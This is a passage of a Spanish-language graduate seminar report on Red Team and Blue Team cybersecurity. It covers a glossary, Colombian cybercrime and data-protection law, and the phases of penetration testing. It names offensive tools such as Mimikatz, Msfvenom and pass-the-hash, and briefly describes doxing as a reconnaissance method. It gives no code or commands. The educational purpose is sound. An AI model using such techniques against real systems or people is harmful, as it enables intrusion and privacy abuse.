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1. RESUMEN

Como parte del Seminario Especializado Equipos Estratégicos en Ciberseguridad: Red
Team & Blue Team, desarrollado como opcién de grado de la Especializacion en Seguridad
Informética, tuve la oportunidad de explorar y aplicar conocimientos avanzados en el ambito de la
ciberseguridad. Este seminario me permitio profundizar en las estrategias y practicas clave para
identificar, analizar y mitigar amenazas cibernéticas, contribuyendo al fortalecimiento de
infraestructuras tecnoldgicas criticas en entornos organizacionales.

Durante el desarrollo del seminario, participé en una serie de actividades estructuradas en
diferentes etapas, cada una enfocada en aspectos esenciales de la ciberseguridad. En la primera
actividad (Etapa 1), se abordaron los conceptos fundamentales de los equipos de seguridad, lo que
me permitié comprender el papel crucial del Red Team y Blue Team en la proteccién y evaluacion
de infraestructuras digitales. En la segunda actividad (Etapa 2), se profundizé en la actuacion ética
y legal en ciberseguridad, destacando la importancia de seguir los marcos normativos en Colombia,
incluyendo la revision de acuerdos de confidencialidad y la realizacion de pruebas de intrusién
dentro de un marco legal y responsable.

En la tercera actividad (Etapa 3), participé en practicas simuladas utilizando herramientas
como Kali Linux, Metasploit, Nessus, y vectores de ataque como HFS HTTP File Server,
Mimikatz (Kiwi), Msfvenom y técnica como Hash the Pass. Estas practicas me permitieron aplicar
de manera realista las técnicas de intrusion y prueba de vulnerabilidades, 1o que me dio una
comprension profunda de las tacticas ofensivas empleadas por el Red Team para identificar
brechas de seguridad y como el Blue Team implementa las medidas de defensa para

contrarrestarlas.



Finalmente, en la cuarta actividad (Etapa 4), me enfoqué en la contencién de ataques
informaticos, desarrollando habilidades para manejar incidentes de seguridad, aplicar estrategias
de mitigacion y fortalecer los controles en tiempo real, a fin de proteger la infraestructura de Tl
contra ataques cibernéticos.

Este seminario no solo me brind6 habilidades técnicas avanzadas, sino que también reforzo
mi capacidad para aplicar estrategias colaborativas entre los equipos Red Team y Blue Team,
fomentando la proteccion continua de los sistemas tecnoldgicos. A través de cada una de las etapas,
me preparé para afrontar los retos actuales en el entorno digital, fortaleciendo mi enfoque

profesional en la ciberseguridad.
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3. GLOSARIO
Ataque Cibernético: Evento malicioso disefiado para comprometer la seguridad de
sistemas, redes o servidores, con el fin de robar, alterar o destruir datos.

Antivirus: Software diseflado para detectar, prevenir y eliminar malware de sistemas
informaticos.

Autenticacion Multifactor (MFA): Proceso de verificacion que requiere al menos dos
factores independientes para autenticar al usuario.

Blue Team: Equipo responsable de las defensas cibernéticas, supervisando la seguridad
informatica, identificando riesgos y respondiendo a ataques en tiempo real.

Buffer Overflow: Vulnerabilidad explotada cuando un programa escribe mas datos en un
bufer de los que puede manejar, permitiendo ejecutar codigo malicioso.

Cibercrimen: Actividades ilegales que buscan comprometer sistemas informéticos o redes
para causar dafio o robar datos.

Ciberdelincuente: Persona que realiza ataques informaticos para obtener beneficios
ilicitos.

Ciberseguridad: Conjunto de medidas y practicas destinadas a proteger activos
tecnoldgicos y datos contra amenazas cibernéticas.

Contencidn: Estrategia utilizada para detener un ataque cibernético mientras se mitigan
sus impactos.

CIS (Center for Internet Security): Es una organizacion que promueve mejores practicas
de seguridad cibernética a través de la creaciéon y mantenimiento de estandares de
seguridad.

CSIRT (Computer Security Incident Response Team): Es el equipo de respuesta a
incidentes de seguridad encargado de restituir las actividades manejando adecuadamente
los incidentes de seguridad informatica en una organizacion.

CVE (Common Vulnerabilities and Exposures): Diccionario que lista las
vulnerabilidades en seguridad de informacion publicadas o conocidas.

Datos Personales: Informacion identificable de una persona fisica, protegida por
normativas como la Ley 1581 de 2012 en Colombia.

Defensa en Profundidad: Estrategia de multiples capas de seguridad para mitigar atagques.
Deteccion y Respuesta en Endpoints (EDR): Herramientas disefiadas para identificar y

contener amenazas en dispositivos finales como computadoras y servidores.
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Escaneo: Segunda fase del Pentesting, que analiza vulnerabilidades en sistemas y redes
tras la recopilacion de informacién inicial.

Exploit: Software o cddigo disefiado para aprovechar vulnerabilidades especificas en un
sistema.

ExploitDB: Base de datos en linea que recopila exploits y vulnerabilidades conocidas.

Explotaciéon de Vulnerabilidades: Uso de técnicas para comprometer sistemas
aprovechando puntos débiles.

Firewall: Dispositivo o software que actla como una barrera protectora, filtrando trafico
de red autorizado.

Framework: Estructura de herramientas y metodologias que simplifica tareas en
ciberseguridad.

GPL (General Public License): Licencia que permite a los usuarios usar, copiar,
modificar y distribuir software de cddigo abierto, promoviendo la colaboracion y la
innovacion.

Hardening: Proceso de reforzar configuraciones de sistemas y aplicaciones para reducir
riesgos de ataque.

Hash the Pass: Técnica que utiliza hashes de contrasefias para autenticarse sin conocer el
texto original.

HIDS (Host-Based IDS): Monitorea actividades especificas de un sistema o servidor. Los
IDS generan alertas para advertir a los administradores, pero no actian directamente para
bloquear las amenazas.

HTTP File Server (HFS): Aplicacion para compartir archivos a través de HTTP,
frecuentemente utilizada en simulaciones de ataque.

IDS (Intrusion Detection System): Sistema de deteccion de intrusiones que monitorea el
trafico de red o la actividad de sistemas para identificar comportamientos sospechosos o
amenazas potenciales.

IPS (Intrusion Prevention System): Sistema disefiado para prevenir accesos no
autorizados en tiempo real.

ISO 27001: Norma internacional para la gestion de seguridad de la informacién.
Malware: Software malicioso creado para dafiar sistemas o robar informacion.

Mimikatz (Kiwi): Herramienta avanzada utilizada para extraer credenciales y hashes en
sistemas Windows.
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Movimiento Lateral: Técnica utilizada por atacantes para moverse dentro de una red tras
comprometer un sistema, buscando acceso a recursos adicionales.

Msfvenom: Herramienta de Metasploit utilizada para crear payloads maliciosos.

Nessus: Escaner de vulnerabilidades utilizado para detectar configuraciones inseguras y
software desactualizado.

Nmap: Herramienta para escanear puertos y servicios en redes, fundamental en pruebas de
penetracion.

Payload: Parte maliciosa de un ataque que realiza acciones dafiinas al ejecutarse.
Pentesting: Pruebas de penetracion realizadas para identificar y mitigar vulnerabilidades.
Ransomware: Malware que encripta datos y solicita un rescate para devolver el acceso.

Reconocimiento: Etapa inicial del Pentesting enfocada en recolectar informacion del
objetivo.

Red Team: Equipo ofensivo que simula ataques cibernéticos para identificar fallas de
seguridad.

Respuesta a Incidentes: Conjunto de procesos para manejar incidentes de seguridad
informatica, incluyendo deteccion, contencidn, erradicacion y recuperacion.

SIEM (Security Information and Event Management): Herramienta para monitorear y
analizar eventos de seguridad en tiempo real.

Segmentacion de Red: Division de una red en subredes para limitar el alcance de ataques.

VirtualBox: Herramienta de virtualizacion utilizada para crear entornos controlados para
pruebas de ciberseguridad.

Vulnerabilidad: Punto débil en un sistema que puede ser explotado por atacantes.

Wireshark: Herramienta de analisis de trafico de red, esencial para identificar actividad
sospechosa.
XDR: es una solucion integral de seguridad cibernética que va mas alla de la deteccion de

amenazas para proporcionar una respuesta proactiva y coordinada frente a los ataques
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4. INTRODUCCION

En el marco del Seminario Especializado: Equipos Estratégicos en Ciberseguridad: Red
Team & Blue Team, este documento presenta un enfoque integral que combina teoria y practica
para abordar los desafios contempordneos de la ciberseguridad. A través de actividades
cuidadosamente disefladas, se exploraron aspectos esenciales como el marco normativo
colombiano en delitos informaticos, las fases del pentesting y la configuracion de entornos
virtualizados mediante herramientas especializadas como VirtualBox.

Cada etapa del seminario ofrecié una oportunidad Unica para profundizar en los conceptos
clave de la seguridad informatica. Desde el analisis critico de clausulas potencialmente ilegales en
acuerdos de confidencialidad hasta la ejecucién controlada de ataques en entornos simulados, las
actividades realizadas no solo fortalecieron las competencias técnicas de los participantes, sino
que también fomentaron una reflexion ética y normativa sobre las practicas de proteccion de la
informacion.

Este documento sintetiza de manera exhaustiva los hallazgos obtenidos, las soluciones
implementadas y las recomendaciones formuladas durante el seminario. Al proporcionar un
analisis detallado de los retos y oportunidades que enfrentan las organizaciones en el ambito de la
seguridad de la informacion, se presentan estrategias concretas y medidas efectivas para fortalecer

la resiliencia frente a un panorama de amenazas cibernéticas cada vez mas complejo y sofisticado.
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5. OBJETIVOS

5.1 OBJETIVO GENERAL

Analizar las estrategias ejecutadas por los equipos Red Team y Blue Team durante el

seminario, evaluando su efectividad en la identificacion de vulnerabilidades criticas y proponiendo

mejoras orientadas a optimizar la seguridad organizacional de manera integral.

Realizar un analisis detallado de los principales hallazgos, soluciones propuestas y

recomendaciones generadas durante el seminario especializado en seguridad informatica.

5.2 OBJETIVOS ESPECIFICOS

Identificar y analizar las vulnerabilidades detectadas durante las simulaciones, evaluando
su impacto, viabilidad y priorizando su mitigacion desde perspectivas técnicas, legales y
éticas.

Investigar y analizar las clausulas potencialmente ilegales presentes en los acuerdos de
confidencialidad examinados durante el seminario, destacando las implicaciones
normativas.

Disefiar e implementar estrategias ofensivas y defensivas personalizadas para escenarios
especificos, maximizando la efectividad de las practicas de ciberseguridad.

Evaluar la efectividad de las soluciones propuestas para abordar las vulnerabilidades y
riesgos detectados, asegurando su alineacion con mejores practicas legales y éticas.
Generar recomendaciones précticas y basadas en evidencia que fortalezcan la postura de
seguridad de las organizaciones, incorporando medidas preventivas y mejores practicas
operativas.

Establecer simulaciones conjuntas entre los equipos Red Team y Blue Team cada trimestre

para evaluar posibles fallas en tiempo real.
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Utilizar herramientas avanzadas como SIEM para analisis de datos en tiempo real y XDR
para respuesta agil.

Definir protocolos claros para incidentes criticos, garantizando alineacion con normativas
internacionales.

Capacitar al personal en simulaciones practicas para mejorar la deteccion y contencion de
amenazas.

Realizar auditorias semestrales con terceros para validar y actualizar las politicas de
seguridad.

Implementar métricas de rendimiento especificas para medir la efectividad de las
estrategias de ambos equipos.

Identificar areas de oportunidad y posibles lineas de investigacion futuras en el campo de
la seguridad informatica, promoviendo el avance continuo en la comprension y mitigacion

de amenazas cibernéticas.
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6. DESARROLLO DEL INFORME

En el marco del seminario especializado, se implementaron diversos escenarios disefiados
para analizar la interaccion estratégica entre los equipos Blue Team y Red Team en el contexto de
la ciberseguridad empresarial. Estas actividades abarcaban desde la identificacion y analisis de
vulnerabilidades criticas, hasta la evaluacién de la postura de seguridad, la simulacién controlada
de ataques y la ejecucion de respuestas coordinadas ante incidentes cibernéticos.

Estos escenarios no solo permitieron explorar la dindmica entre los equipos, sino también
evaluar como se gestionan las amenazas y vulnerabilidades en un entorno organizacional. A
continuacion, se presenta de manera detallada el desarrollo y validacion de los escenarios
abordados, los cuales fueron fundamentales para entender las mejores practicas en la proteccion y
defensa de la infraestructura digital aplicados a la compafiia CyberFort Technologies.

6.1 ETAPA 1: CONCEPTOS DE SEGURIDAD
1. Dentro del margen legal en Colombia sobre delitos informaticos y proteccion de datos
personales redacte con sus propias palabras que legislacion “leyes, decretos” existen
actualmente y las caracteristicas principales de cada ley.

Normativa Legal:

En Colombia, obtener acceso no autorizado a un sistema de informacion es ilegal
independientemente de si se ha cometido un delito o se han cumplido otras condiciones. Sin
embargo, el delito presenta un vacio interpretativo que no ha sido discutido por el poder judicial.
El articulo 269A establece que quienes accedan o mantengan un sistema de informacion protegido
0 no seguro sin autorizacién o sin medida de seguridad seran sancionados con prision, teniendo

cada interpretacion diferentes consecuencias juridicas y penales (Legis, 2022).
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El Cddigo Procesal Penal colombiano establece los requisitos para la admisibilidad de la
prueba. Para abordar las dificultades Unicas que plantean las pruebas digitales, se ha desarrollado
jurisprudencia. (Congreso de la Republica de Colombia, 2004).

Legislacion y regulacion: Colombia ha trabajado en fortalecer su marco legal y regulador
relacionado con la ciberseguridad y el peritaje forense digital. Las leyes y normativas se han
adaptado para abordar los desafios asociados con la delincuencia cibernética y la evidencia digital
en los tribunales.

Ley 1273 de 2009

Esta ley, que establece estandares de seguridad de la informacion, es conocida como la "ley
de delitos informéticos™ en Colombia. Puede ofrecer informacion sobre los fines asociados al
ciberdelito. (Congreso de la Republica, 2009)

Al cambiar el Cédigo Penal de esta manera, las leyes y sistemas existentes que dependen
de la tecnologia de la informacion y las comunicaciones se preservan plenamente y se crea un
nuevo bien juridico protegido conocido como "la proteccion de la informacion y los datos
(Congreso de la Republica, 2009).

Articulo 269A: Acceso abusivo a un sistema informatico
e Descripcion: Este articulo prohibe el acceso a un sistema informatico sin la debida
autorizacion o excediendo los limites acordados. Esto incluye tanto sistemas protegidos
como no protegidos.
e Implicaciones: Busca proteger la integridad de los sistemas y la informacion que

contienen, penalizando a quienes se adentran en sistemas ajenos sin permiso.
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Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de telecomunicacion

e Descripcién: Se sanciona a quien impida o dificulte el funcionamiento normal de un
sistema informatico o de una red de telecomunicaciones.

e Implicaciones: Este articulo es crucial para garantizar la disponibilidad y el acceso a
servicios digitales, afectando negativamente a empresas y usuarios.

Articulo 269C: Interceptacion de datos informaticos

e Descripcion: Se penaliza la interceptacion de datos informaticos en cualquier etapa de su
transmision, sin una orden judicial previa.

e Implicaciones: Refuerza el derecho a la privacidad y protege la confidencialidad de la
informacion, especialmente en comunicaciones electronicas (Policia Nacional de
Colombia, s. f.).

Articulo 269D: Dafio Informaético

e Descripcién: Este articulo castiga la destruccién, alteracion o supresion de datos
informaticos o de sistemas de tratamiento de informacion.

e Implicaciones: Busca proteger la integridad de la informacion y asegurar que los datos no
sean manipulados maliciosamente (Policia Nacional de Colombia, s. f.).

Articulo 269E: Uso de software malicioso

e Descripcidn: Se prohibe la produccién, distribucion y uso de software malicioso que cause
dafios a sistemas informaticos.

e Implicaciones: Este articulo es esencial para la ciberseguridad, ya que aborda la amenaza
de virus, troyanos y otros programas dafinos (Policia Nacional de Colombia, s. f.).

Articulo 269F: Violacion de datos personales

e Descripcién: Penaliza la obtencion y uso no autorizado de datos personales con fines de
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lucro o de otra indole.

e Implicaciones: Refuerza la proteccion de datos personales, promoviendo la confianza en
la gestion de la informacion y la privacidad de los usuarios (Policia Nacional de Colombia,
s. f).

Articulo 269G: Suplantacidn de sitios web para capturar datos personales

e Descripcidn: Este articulo prohibe la creacidon y uso de sitios web falsos con el fin de
engafiar a los usuarios y robar su informacion personal.

e Implicaciones: Ayuda a combatir el phishing y otras formas de fraude en linea,
protegiendo a los consumidores de engafios (Policia Nacional de Colombia, s. f.).

Articulo 269H: Circunstancias de agravacion punitiva

e Descripcion: Establece que las penas se incrementaran si los delitos se cometen en ciertos
contextos, como contra redes estatales o por parte de servidores publicos.

e Implicaciones: Busca disuadir conductas delictivas al aumentar la gravedad de las
sanciones en situaciones que afectan a la seguridad publica o que implican un abuso de
confianza (Policia Nacional de Colombia, s. f.).

Articulo 2691: Hurto por medios informaticos y semejantes

e Descripcion: Penaliza el hurto realizado a través de la manipulacién de sistemas
informaticos o redes.

e Implicaciones: Protege a las victimas de fraudes que implican la suplantacion de identidad
y otros métodos de engafio para acceder a bienes o informacion (Policia Nacional de
Colombia, s. f.).

Articulo 269J: Transferencia no consentida de activos

e Descripcidn: Se sanciona la obtencion de activos de manera no consentida utilizando
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manipulaciones informaticas.
Implicaciones: Este articulo es crucial para combatir el fraude financiero y proteger a

individuos y empresas de pérdidas econémicas (Policia Nacional de Colombia, s. f.)

Decreto 338 de 2022

Este decreto establece disposiciones sobre la interceptacion de las comunicaciones y puede

ser relevante en casos de ciberseguridad. (MinTic, 2022)

Busca mejorar la gestion de riesgos, la gobernanza de la seguridad digital, la identificacion

de infraestructuras y servicios cibernéticos criticos y la gestion de incidentes. (MinTic, 2022)

Fortalecimiento de la gobernanza de la seguridad digital: El decreto formaliza roles y
responsabilidades, promoviendo la cooperacion entre los diferentes actores involucrados
en la seguridad digital. Su objetivo es crear un marco operativo que facilite la toma de
decisiones y fomente una gestion adecuada de los riesgos en el entorno digital.

Enfoque integral en la gestion de amenazas: Se establecen metodologias para identificar
y coordinar respuestas tanto proactivas como reactivas frente a amenazas que puedan
comprometer la confidencialidad, integridad y disponibilidad de sistemas tecnoldgicos,
redes e informacion.

Organizacion y funcion de ColCERT y CSIRT Gobierno: El decreto redefine la
estructura y operacion del Grupo de Respuesta a Emergencias Cibernéticas de Colombia
(ColCERT), que asesora y coordina a las partes interesadas para gestionar eficazmente los
riesgos e incidentes de seguridad digital. Ademas, se destaca la funcién del CSIRT
Gobierno, enfocado en prevenir y manejar incidentes de seguridad en el marco del Modelo

de Seguridad y Privacidad de la Politica de Gobierno Digital.
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e Objetivo principal: Aumentar la confianza de los ciudadanos en la seguridad digital y
maximizar el valor socioecondmico a través del uso seguro del ciberespacio y la
infraestructura tecnolégica en Colombia (MinTic, n.d.).
Conpes 3854 de 2016

El documento "CONPES 3854" establece la Politica Nacional de Seguridad Digital de
Colombia, aprobada el 11 de abril de 2016, con el objetivo de fortalecer la seguridad digital del
pais mediante un enfoque integral que involucra la cooperacién nacional e internacional.
Aspectos clave del CONPES 3854:

1. Responsabilidades del Ministerio de Relaciones Exteriores:

o Monitoreo continuo: Realizar el seguimiento y monitoreo de temas de seguridad
digital en diferentes niveles, incluyendo el &mbito bilateral, regional y multilateral.

o Propuestas de acuerdos: Elaborar propuestas de acuerdos en seguridad digital, en
coordinacion con las entidades nacionales competentes.

o Agenda Estratégica Internacional: Definir una agenda estratégica para abordar
la seguridad digital desde una perspectiva global.

2. Cooperacion bilateral con otros paises:

o Argentina y México: Fortalecimiento de las capacidades nacionales y desarrollo
de normativas conjuntas en seguridad digital y ciberseguridad.

o Reino Unido: Colaboracion para mejorar la respuesta a las amenazas del crimen
organizado y cibernético, promoviendo una coordinacion estratégica entre

ministerios y agencias de investigacion.
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3. Participacion multilateral en foros internacionales:

o Organizacién de los Estados Americanos (OEA): Promover un enfoque
multidimensional hacia la seguridad cibernética, incentivando el didlogo y la
cooperacion entre Estados Miembros.

o Cumbre Iberoamericana 'y CELAC: Impulsar la cooperacion en ciberseguridad
y fomentar la aplicacion de normas y buenas practicas internacionales para
enfrentar los desafios digitales.

4. Eventosy representaciones internacionales:

o Participacion de Colombia en importantes foros y conferencias globales sobre
ciberseguridad, como la Conferencia Meridian, la Convencion de Budapest y
reuniones de la OEA/CICTE, reforzando el compromiso del pais con la seguridad
digital y la cooperacién internacional.

El CONPES 3854 subraya la necesidad de una accion coordinada y estratégica para
fortalecer la seguridad digital en Colombia, apoyandose en la colaboracién con socios
internacionales y el desarrollo de capacidades locales para enfrentar las amenazas del entorno
digital (Direccion de Asuntos Politicos Multilaterales, 2016).

Proteccion de Datos Personales

En Colombia, la proteccion de datos personales esta reglamentada principalmente por
la Ley 1581 de 2012 y el Decreto 1377 de 2013, que establecen el derecho constitucional de
los ciudadanos a acceder, eliminar, actualizar y corregir sus datos personales gestionados en
bases de datos por entidades tanto publicas como privadas.

Puntos importantes sobre la proteccion de datos personales:

1. Derechos de los titulares: La Corte Constitucional ha definido este derecho como la
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capacidad que tienen los individuos para solicitar a los encargados del manejo de datos el
acceso, inclusion, eliminacion, correccion, adicion, actualizacion y certificacion de su
informacion personal. Ademas, permite restringir la divulgacién, publicacion o
transferencia de estos datos, conforme a los principios que rigen su administracion.

2. Caracter autébnomo del derecho: La proteccion de datos personales se reconoce como un
derecho independiente, aunque estrechamente vinculado a otros derechos fundamentales
como la privacidad y el acceso a la informacion, con una identidad y alcance especificos.

3. Registro Nacional de Bases de Datos (RNBD): En linea con lo establecido por la Ley
1581 de 2012, se cre6 el RNBD, que actta como un directorio publico de las bases de datos
gue manejan informacion personal en el pais. Este registro asegura la transparencia y el
control sobre la gestion de los datos personales.

Estas regulaciones imponen a las organizaciones la responsabilidad de proteger la
informacién personal, permitiendo a los individuos ejercer control sobre sus datos y
asegurando su tratamiento adecuado segun la normativa vigente (Ministerio de Educacion
Nacional, 2020)

La Ley 1266 de 2008

Conocida como Ley de Habeas Data, establece un marco legal para la proteccion y
tratamiento de los datos personales, en particular los relacionados con informacion financiera,
crediticia y comercial. Su objetivo principal es salvaguardar los derechos de las personas sobre sus
datos y regular cémo las entidades los recolectan, procesan y utilizan. A continuacion, se destacan
los puntos clave de la ley:

e Derecho a conocer, actualizar y rectificar datos: Los ciudadanos tienen el derecho de

acceder a la informacién que ha sido recopilada sobre ellos. Pueden solicitar la
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actualizacion o correccion de datos que sean inexactos, incompletos o desactualizados,
garantizando que la informacion reflejada en las bases de datos sea veraz y actual.
Manejo de informacién crediticia: La ley diferencia entre los registros positivos y
negativos.

Informacion positiva: Relativa al buen comportamiento crediticio (cumplimiento de
obligaciones) puede mantenerse indefinidamente, lo que beneficia al titular en términos de
acceso a productos y servicios financieros.

Informacién negativa: Los reportes negativos (morosidad o incumplimiento de pagos)
solo pueden permanecer en las bases de datos por un maximo de 4 afios una vez la deuda

ha sido saldada, o por el doble del tiempo de mora si esta fue menor a dos afos.

Sujetos que intervienen en el manejo de datos:

o

Titular: La persona natural o juridica a la que se refieren los datos.

Fuente: Entidad que recolecta los datos personales del titular.

Operador: Organizacion encargada de administrar y manejar los datos personales
recopilados.

Usuario: Persona o entidad que accede a la informacion para evaluarla o utilizarla en la
toma de decisiones, por ejemplo, una entidad financiera al evaluar un credito.
Tratamiento de datos sensibles: Los datos sensibles, como aquellos que revelan origen
racial, convicciones politicas, religiosas o de salud, estan sujetos a un tratamiento
restringido y solo pueden procesarse con el consentimiento explicito del titular o bajo
circunstancias excepcionales, como la proteccion de su vida o cuando sea necesario en un

proceso judicial.
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Principios rectores de la ley:

Legalidad: El tratamiento de datos personales debe ajustarse a la normativa establecida.
Finalidad: Los datos deben ser utilizados Unicamente para los fines previamente
informados y autorizados.

Transparencia y acceso restringido: Los titulares tienen derecho a conocer en todo
momento qué datos se estan procesando, y el acceso a estos datos debe ser limitado y
controlado.

Seguridad: Se deben implementar medidas técnicas y organizativas para proteger los datos
contra accesos no autorizados, adulteracion o pérdida.

Confidencialidad: ElI manejo de la informacion debe garantizar la reserva y proteccion de
los datos personales, incluso después de finalizada la relacion con el titular.

Mecanismos de reclamo y proteccién: La ley establece procedimientos claros para que
los titulares presenten consultas, reclamos o solicitudes de supresion de datos si consideran
que su informacion ha sido utilizada de manera indebida. En caso de incumplimiento, los
titulares pueden acudir a la Superintendencia de Industria y Comercio.

La Ley 1266 de 2008 protege los derechos de los ciudadanos sobre sus datos personales,

garantizando un manejo responsable y seguro por parte de las entidades. Asegura gue los titulares

puedan ejercer control sobre su informacion, fomenta la transparencia y establece limites claros

para el uso de datos sensibles (Superintendencia de Industria y Comercio, 2008).

Ley 527 de 1999 - Ley de comercio electronico Ley de mensajes de datos, comercio electronico

y firmas digitales

Esta ley no solo valida el uso de mensajes de datos y firmas digitales en transacciones

comerciales, sino que también permite que los contratos celebrados electronicamente tengan plena
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validez juridica, eliminando la necesidad de documentos fisicos. Un aspecto clave es la creacion
de entidades de certificacion, las cuales estan encargadas de emitir certificados que garantizan la
autenticidad y seguridad de las firmas digitales. Estas entidades deben estar autorizadas y
supervisadas por la Superintendencia de Industria y Comercio, que tiene la facultad de imponer
sanciones y revocar permisos si se incumplen las normativas.

Ademas, la ley garantiza la admisibilidad de los mensajes de datos como prueba en
procedimientos judiciales y administrativos, siempre que se garantice la integridad de la
informacion, lo que fortalece la confianza en las operaciones electronicas (Congreso de Colombia,
1999).

2. En el mundo de la ciberseguridad existen procesos definidos para poder ejecutar de
forma organizada lo que se conoce como pruebas de penetracion o pentesting; usted
como futuro experto debera redactar con sus palabras y definir cada una de las etapas
del pentesting, dentro de la definicion incorporara un ejemplo de una herramienta
gue se utilice para cada una de las etapas del pentesting.

Fases de un Test de Penetracion:
Fase 1: Contacto

En esta fase inicial, el cliente y el equipo de pentesting se retiinen para acordar los términos
y condiciones de la prueba de penetracion. Es fundamental establecer claramente los objetivos de
la prueba, asi como identificar los servicios criticos que requieren proteccion. Ademas, se discuten
los riesgos potenciales que podrian surgir durante el proceso de pentesting, garantizando que todas
las partes comprendan los limites y las expectativas de la prueba (Barahona, 2022).

Durante esta etapa, se utilizan diversas herramientas y documentos para formalizar la

relacion entre el cliente y el equipo de pentesters:
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o Contratos de servicio (SLA): Acuerdos que establecen los términos y condiciones de la
prueba, incluyendo la duracion, los costos y las responsabilidades de ambas partes
(Zendesk, 2023)

o Documentacidn de alcance: Detalles especificos sobre qué sistemas, redes o aplicaciones
se incluiran en la prueba de penetracion, asi como cualquier restriccion aplicable.

e Checklist de preparacion: Listas de verificacién que ayudan a asegurar que todos los
aspectos necesarios se hayan discutido y acordado antes de comenzar la prueba.

Estas herramientas son esenciales para garantizar que el proceso de pentesting se lleve a
cabo de manera ordenada y con una comprension clara de las expectativas y responsabilidades de
todas las partes involucradas (OpenWebinars, s. f.).

Fase 2: Recoleccion de Informacion

En esta fase, se lleva a cabo la recopilacion exhaustiva de informaciéon sobre la
organizacion objetivo. Se emplean diversas técnicas, como el escaneo de redes y el uso de "arafias"
0 bots disefiados para recolectar datos automaticamente. También se puede realizar un analisis de
la actividad en redes sociales de los empleados, lo que puede ofrecer informacidn valiosa sobre los
sistemas que utilizan y posibles direcciones de correo electrénico (Cyberzaintza, s. f.)

Adicionalmente, se explican al cliente los diferentes tipos de pruebas de penetracién que
se pueden realizar, las cuales incluyen:

= Auditoria de Caja Negra (Black Box): En este enfoque, el auditor no cuenta con
informacion previa sobre la infraestructura técnica de la organizacion. Este método simula
un ataque desde la perspectiva de un atacante externo, lo que permite evaluar la seguridad

del sistema desde un angulo completamente desconocido (Xaus, 2021).
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= Auditoria de Caja Blanca (White Box): A diferencia de la caja negra, esta auditoria
proporciona al auditor acceso a informacion técnica detallada sobre los activos a auditar.
Esto incluye configuraciones del sistema, usuarios y mecanismos de seguridad existentes.
Este enfoque permite un analisis mas profundo y eficaz, enfocandose en areas criticas de
la infraestructura (Xaus, 2021).

= Auditoria de Caja Gris (Gray Box): Este enfoque combina elementos de las auditorias
de caja negra y blanca. Se le proporciona al auditor parte de la informacién sobre la
infraestructura, lo que le permite simular un ataque mientras tiene conocimiento sobre
ciertos aspectos del sistema. Esto puede incluir pruebas desde maltiples puntos de acceso,
como redes internas y externas (Xaus, 2021).

Esta fase es crucial para comprender a fondo el entorno de la organizacion y prepararse
para las siguientes etapas del pentesting.
Fase 3: Modelado de Amenazas

Durante la fase de modelado de amenazas, se analiza la informacion recopilada en etapas
anteriores para formular una estrategia de penetracion efectiva. En este punto, los pentesters
adoptan la mentalidad de un atacante, identificando objetivos potenciales y los métodos de ataque
que podrian utilizarse para comprometer la seguridad de la organizacion (Nowak, 2022).

Entre los métodos comunes empleados en esta fase se encuentran:

o Google Hacking: Esta técnica utiliza consultas avanzadas en motores de blusqueda para
descubrir informacion sensible que puede estar expuesta publicamente, como archivos de
configuracién, datos de acceso o informacion de la infraestructura (Nowak, 2022).

o OSINT (Open Source INTelligence): Se refiere a la recopilacion de datos e informacion

de fuentes abiertas disponibles en linea, que pueden incluir redes sociales, foros, sitios web
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y otras plataformas donde se pueda encontrar informacion relevante sobre la organizacién

y su personal (LISA Institute, 2024).

o Doxing: Este método implica investigar y compilar informacion personal sobre individuos,
como direcciones, numeros de teléfono y otros datos sensibles, con el objetivo de explotar
esta informacion en un ataque dirigido.

En la primera fase del Doxing, los atacantes recopilan informacién detallada sobre las
victimas mediante la investigacion de redes sociales, sitios web, bases de datos y técnicas de
ingenieria social. El objetivo es obtener la mayor cantidad de datos posible sobre la victima y su
entorno. En la segunda fase, los datos recopilados se difunden a través de diversas plataformas en
linea con el fin de alcanzar un publico amplio y fomentar que otros también compartan la
informacion (Grupo Atico34, s. f.).

Esta fase es crucial para anticipar posibles vectores de ataque y fortalecer la estrategia del
pentester antes de proceder a las siguientes etapas de explotacion y evaluacion.

Fase 4: Analisis de Vulnerabilidades

En esta etapa, se lleva a cabo una evaluacion exhaustiva de las vulnerabilidades
identificadas previamente para determinar la efectividad de las estrategias de penetracion que se
implementaran. La creatividad y el ingenio del pentester son fundamentales en este proceso, ya
que les permite descubrir y documentar posibles debilidades en el sistema que podrian ser
explotadas durante el ataque (Xaus, 2021).

Durante el andlisis, se priorizan las vulnerabilidades segln su severidad y el impacto
potencial en la seguridad de la organizaciéon. Esto incluye la identificacion de fallas en
configuraciones, software desactualizado y debilidades en los controles de acceso. La

documentacién meticulosa de estos hallazgos es esencial, ya que proporciona una base solida para
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las fases posteriores del pentesting (Cyberzaintza, s. f.).
En esta etapa se utilizan diversas herramientas para identificar, evaluar y documentar las

debilidades en los sistemas las mas comunes son:

R/
L X4

Nessus: Es un escaner de vulnerabilidades ampliamente utilizado que permite detectar
fallas de seguridad en sistemas, configuraciones incorrectas y software desactualizado.

Proporciona informes detallados sobre las vulnerabilidades encontradas (Alcarria, 2024).

L X4

OpenVAS: Es una herramienta de codigo abierto que también se utiliza para escanear y
evaluar vulnerabilidades en sistemas y redes. Al igual que Nessus, proporciona una interfaz

intuitiva y reportes detallados (Alcarria, 2024).

3

%

Burp Suite: Es una plataforma integral para pruebas de seguridad en aplicaciones web. Su
herramienta de escaneo automatico puede detectar vulnerabilidades comunes, como

inyecciones SQL vy fallos de seguridad en la autenticacion (Tarlogic Security, 2024).

K/
L X4

Qualys: Durante la Qualys Security Conference en Las Vegas el 20 de noviembre de 2019,
Qualys present6 su nueva aplicacion, Vulnerability Management, Detection and Response
(VMDR). Esta herramienta ofrece un flujo de trabajo optimizado que facilita la
identificacion, evaluacion, priorizacion y neutralizacion de ataques. VMDR proporciona a
las organizaciones una visibilidad continua y detallada de todos sus activos de TI,
permitiendo detectar vulnerabilidades en tiempo real y priorizar su correccion mediante el
uso de aprendizaje automatico. Ademas, la aplicacion permite la remediacién con un solo
clic y es facil de implementar a nivel global, con un modelo de precios basado en activos
que disminuye considerablemente los costos de gestion y administracion (Qualys, s. f.).

« Metasploit: Aunque se utiliza principalmente en la fase de explotacion, Metasploit

también cuenta con modulos para el andlisis de vulnerabilidades que pueden ayudar a
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K/
L4

identificar y evaluar debilidades en el sistema.

Los atacantes cibernéticos pueden usar técnicas como el phishing, que se basa en
la interaccion con la victima, o la explotacidn de vulnerabilidades, que no depende de dicha
interaccion. Herramientas como Metasploit Framework, preinstaladas en Kali Linux y
compatibles con otros sistemas, simplifican este proceso al incluir una extensa coleccion
